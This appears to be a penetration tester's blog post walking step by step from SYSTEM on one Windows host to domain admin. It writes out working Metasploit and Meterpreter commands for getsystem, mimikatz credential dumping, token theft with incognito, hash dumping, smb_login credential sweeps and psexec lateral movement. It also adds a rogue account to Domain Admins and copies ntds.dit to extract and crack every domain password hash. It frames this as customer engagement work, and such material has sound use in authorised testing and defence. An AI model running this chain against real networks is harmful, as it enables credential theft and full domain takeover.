SYSTEM to Domain Admin – Technique One

Today I am going to give a quick overview of one of my favorite ways to escalate from SYSTEM level privileges on a single host, to domain admin level and more on a Windows network. There are many ways and techniques to accomplish jumping from SYSTEM to domain admin, this just happens to be one that I use frequently (with success). Normally, exploiting a service, app, or whatever else on a host results in SYSTEM privileges. This gives us full privileges on the host itself but nothing in the way of privileges on the domain to which it is joined. The goal that many customers set is to obtain domain admin credentials or to use a privileged account to access sensitive resources. Either way, as we will see later, getting to domain admin can usually accomplish either goal. In addition, I have created a few simple tools to make this effort more efficient.

For the purposes of this discussion, I am going to assume that a host was exploited and we are able to obtain SYSTEM privileges. I am also going to assume that this host does not have any cached credentials or other information that would otherwise enable us to immediately jump from SYSTEM to domain admin. So the first step is to make sure we get SYSTEM on this box. We want SYSTEM level privileges to dump or otherwise obtain local admin passwords or hashes. These will be used to pivot onto other systems to eventually escalate access.

The easiest way to attempt obtaining system access is to run this in the Meterpreter session:

  getsystem

 
The next easiest way is to load the mimikatz module and either get passwords in the clear or password hashes:

  load mimikatz
  kerberos
  livessp
  msv
  ssp
  tspkg
  wdigest

 
The first step above loads the module. The other commands are various utilities to dump and steal clear text or hashes of passwords.

You might be able to steal a token for the local admin account as well. This will require an additional module named incognito:

  load incognito
  list_tokens -u
  impersonate_token <Token Domain\\Token User>

 
The `list_tokens -u` command will list all available user tokens to steal. Then it is just a matter of impersonating them. Note that you need to use double slashes between the DOMAIN/WORKGROUP just as shown above.

You can also attempt to migrate to a process running as SYSTEM or local admin:

  ps
  migrate <process ID>

 
The `ps` command will list running processes. Then `migrate` to a process ID that is running as SYSTEM/local admin.

If we haven’t already obtained the local admin password or hash yet, then we need to dump the hash and crack it. So we run:

  run post/windows/gather/smart_hashdump

 
Take the local administrator hash and load it into Ophcrack, Hashcat, John-the-Ripper, or your alternative password cracking tool of choice. Let the tool do its magic and you should now have the password.

Note, that to escalate access the cracked version of the password is not necessary. If we don’t have the cracked version, we can just use the hash in a pass-the-hash technique. However, the cracked password IS required to use the simple tools I created to make this process a little more efficient.

The next step in this endeavor is to identify hosts on the local network using the same local admin username and password. You can get the local network IP and subnet information by issuing this command in the Meterpreter session:

  get_local_subnets

 
Write this information down because we are now going to jump out of the Meterpreter session (but leave it open). This is done by running:

  background

 
The local subnet information is then added as a route within Metasploit so that we can direct exploits, auxiliary modules, and other features of Metasploit through this Meterpreter session. To get the Meterpreter session ID, for use in setting up the routes, we run:

  sessions -l

 
Assuming a session ID of 23 and network information of 192.168.1.0/255.255.255.0, we run this within Metasploit:

  route add 192.168.1.0 255.255.255.0 23

 
Now, I like to run the smb_login module in Metasploit to identify hosts on which I can use the stolen local admin username and password:

  use auxiliary/scanner/smb/smb_login
  set RHOSTS 192.168.1.0/24
  set SMBUser <Local Admin User>
  set SMBPass <Local Admin Password OR Hash>
  set BLANK_PASSWORDS false
  set USER_AS_PASS false
  run

 
Note that I set the last two options to false just to save time. Yes, I know it is possible that the local admin account password is blank or the same as the username, but it is rare and wastes time on two additional login attempts PER host.

I know that some other penetration testers like to just attempt to run psexec to obtain Meterpreter access to these hosts using the stolen credentials, but this a) can slow down your exploitation host and b) is pretty noisy (at least I think it is more noisy than what I like to do). More on this later, as we will use this module shortly.

What I like to do is just issue psexec against one of the hosts identified as having successfully logged in using the stolen credentials above. Normally, I would do this until I found a host with a logged in domain administrator, process running as domain administrator, or cached credentials of a domain administrator, and then steal those credentials. This can be a tedious process, sometimes resulting in using psexec to access 10+ hosts with little success. However, I have made this process slightly more efficient with a few tools:

  • p2e.py – Python module for enumerating unique accounts running processes on a list of hosts
  • p2e.exe – The above module compiled into an exe using py2exe
  • p2e2exe.py – Python script to create an executable out of my script in case you want to do it yourself
  • winrm_proc_uniq_ids.rb – Metasploit Ruby module that does the same thing as the Python script, only within Metasploit

 
Example usage for the p2e.py and p2e.exe utilities:

  usage: p2e.py [-h] --iplist IPLIST --user USER --pass PASS

  Find running process that can be used to escalate access.

  optional arguments:
    -h, --help       show this help message and exit
    --iplist IPLIST  file list of IPs that we can login with using provided
                   username and password (default: None)
    --user USER      the username to use for the WMI login (default: None)
    --pass PASS      the password to use for the WMI login (default: None)

  Example: p2e.py --iplist iplist.txt --user test --pass testpass

 
I use this tool by first gathering a list of hosts I can login to with the stolen local admin credentials by using the Metasploit smb_login module. I then add this list of IP’s to a text file and pass the text file along with the credentials to the script. The executable works in the exact same way only it can be dropped onto a Windows host without requiring a Python interpreter; it is completely self contained.

The Python script and executable is nice and all, but I only wrote that because I love Python. I am fairly new to the language and so to further my knowledge have been writing all new script ideas in Python first. This tool works fine but maximum efficiency is acheived by not having to leave Metasploit. For that reason, I wrote the Metasploit module.

To use this module on Windows, create a folder named codewatch at the following location (default, this might vary if you didn’t use the default installation path(s)), and save the file to this folder:

  C:\Metasploit\apps\pro\msf3\modules\auxiliary\scanner\codewatch\

 
To use this module on Linux, create a folder named codewatch at the following location (default, this might vary if you didn’t use the default installation path(s)), and save the file to this folder:

  /opt/metasploit/apps/pro/msf3/modules/auxiliary/scanner/codewatch/

 
Using it is as simple as:

  use auxiliary/scanner/codewatch/winrm_proc_uniq_ids
  set USERNAME <Local Admin User>
  set PASSWORD <Local Admin Password>
  set SAVE_OUTPUT true
  set RHOSTS <List of hosts identified with smb_login>
  run

 
There is also an option to pass the DOMAIN, but this is not usually necessary for a local account. Setting SAVE_OUTPUT to true is not necessary either if you don’t want to save your loot. Note that the password is required (not the hash). I don’t believe WMI is vulnerable to passing the hash, but I would love for someone to prove me wrong so that I can add that capability to the script. When run, the output should look something like this (on a successful scan of a host):

  [*] Attempting to connect to WMI on 192.168.X.X
  [+] Unique accounts for 192.168.X.X:
  [+]     User: NT AUTHORITY\SYSTEM
  [+]     User: NT AUTHORITY\NETWORK SERVICE
  [+]     User: NT AUTHORITY\LOCAL SERVICE
  [+]     User: TESTDOMAIN\Admin
  [*] Scanned 1 of 1 hosts (100% complete)
  [*] Auxiliary module execution completed

 
I would run this script against my target list identified with the smb_login module and then review the results. I would be searching for any DOMAIN name that stands out as possibly being the primary domain for the network. I would especially be on the lookout for anything with “Admin” in the username. This really narrows down the list of systems I access in an attempt to compromise a domain admin account. The next step is to obtain access to these hosts with psexec and attempt to compromise one of these domain admin accounts:

  use exploit/windows/smb/psexec
  set RHOST <Host w/ processes running as domain admin found with script above>
  set SMBUser <Local Admin User>
  set SMBPass <Local Admin Password OR Hash>
  run

 
For every successful session established, I would attempt to migrate to the process running as domain admin, dump clear text passwords and hashes with mimikatz, steal tokens with incognito, and dump hashes with smart_dump as describe above in that exact order. At this point, I should have domain admin credentials, which I use to create my own account in the “Domain Admins” group by first dropping to the Windows command shell:

  shell

 
Then creating an account and adding it to the domain admins group with:

  net user p3nt3st p3nt3st1ng /DOMAIN /ADD
  net group "Domain Admins" p3nt3st /ADD

 
Then I like to figure out the IP/hostname of a domain controller from the command shell with:

  gpresult /R

 
I look for the text “Group Policy was applied from:” in the output. I do this so that I can then RDP to the DC, open up “Active Directory Users and Computers,” and then take some screenshots showing my account as being a part of the “Domain Admins” group. There are Metasploit modules that will create accounts, add accounts to groups, and identify local domain controllers (incognito module add_user, incognito module add_group_user, and post/windows/gather/enum_domain respectively) from within Meterpreter. However, I sometimes find that capturing screenshots of the Windows commands more effective in presenting to the customer as it is slightly less mystical and more understood than Metasploit/Meterpreter input and output.

The next step is to obtain as many credentials as I can to be used to access sensitive resources (assuming the customer doesn’t want us to stop at domain admin privileges). This also requires access to a DC (and thus the login to one above). Again, there are many techniques for this, but I’ve had the most success with the technique to be described on a Windows 2008+ domain controller.

I use the ntdsutil to create a snapshot of the AD database, which I will later extract usernames and password hashes from that will be cracked. From a command prompt on the DC:

  ntdsutil
  create

 
The `create` command will result in output that contains “…mounted as…” I open another command prompt on the DC, and then `cd` to the directory in the output provided, then within that directory `cd` to Windows\NTDS. I copy the ntds.dit file to my host (using the Terminal Services session). Then `cd ..\system32\config` and copy the “SYSTEM” and “SAM” file to my host as well. Another option is to copy these files to a “My Documents” folder on the DC, use psexec to get a Meterpreter shell on the DC, and then use the Meterpreter `download` command to download the files to your host.

We will need the libesedb library to extract the data. This can be found here. Compile and install the library on a Linx host. Then download NTDSExtract to utilize this library to extract usernames and password hashes from the database. Unzip the NTDSExtract zip file and `cd` to ntds. I then like to create a project directory in this folder (mkdir customer123). Extract the information we need from the database:

  esedbexport –v –t ./customer123/ /path/to/previously/obtained/ntds.dit

 
Next, use the NTDSExtract dsusers.py script to save the hashes to a “customer123_hashes” folder:

  python dsusers.py ./customer123/.export/datatable.3 \
    ./customer123/.export/link_table.5 ./customer123_hashes/ \
    --shshive /path/to/previously/obtained/SYSTEM --lmoutfile \
    ./customer123_hashes/lmextract \
    --ntoutfile ./customer123_hashes/nmextract \
    --pwdformat ophc --passwordhashes

 
The above command uses the data extracted with esedbexport, along with the SYSTEM file that was obtained, to save the LM HASH and NT HASHES to a folder named “customer123_hashes” in Ophcrack format. The tool supports a few other formats if you so desire. This will take a long time to complete on a large network. Now you just load the “lmextract” and “nmextract” files in the “customer123_hashes” folder into Ophcrack and you are off to the races.

You will almost certainly end up with a boat load of cracked passwords on a large network to use on various resources throughout the target network.

Again, you can download my scripts from here, here, and here.

Happy Hunting!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: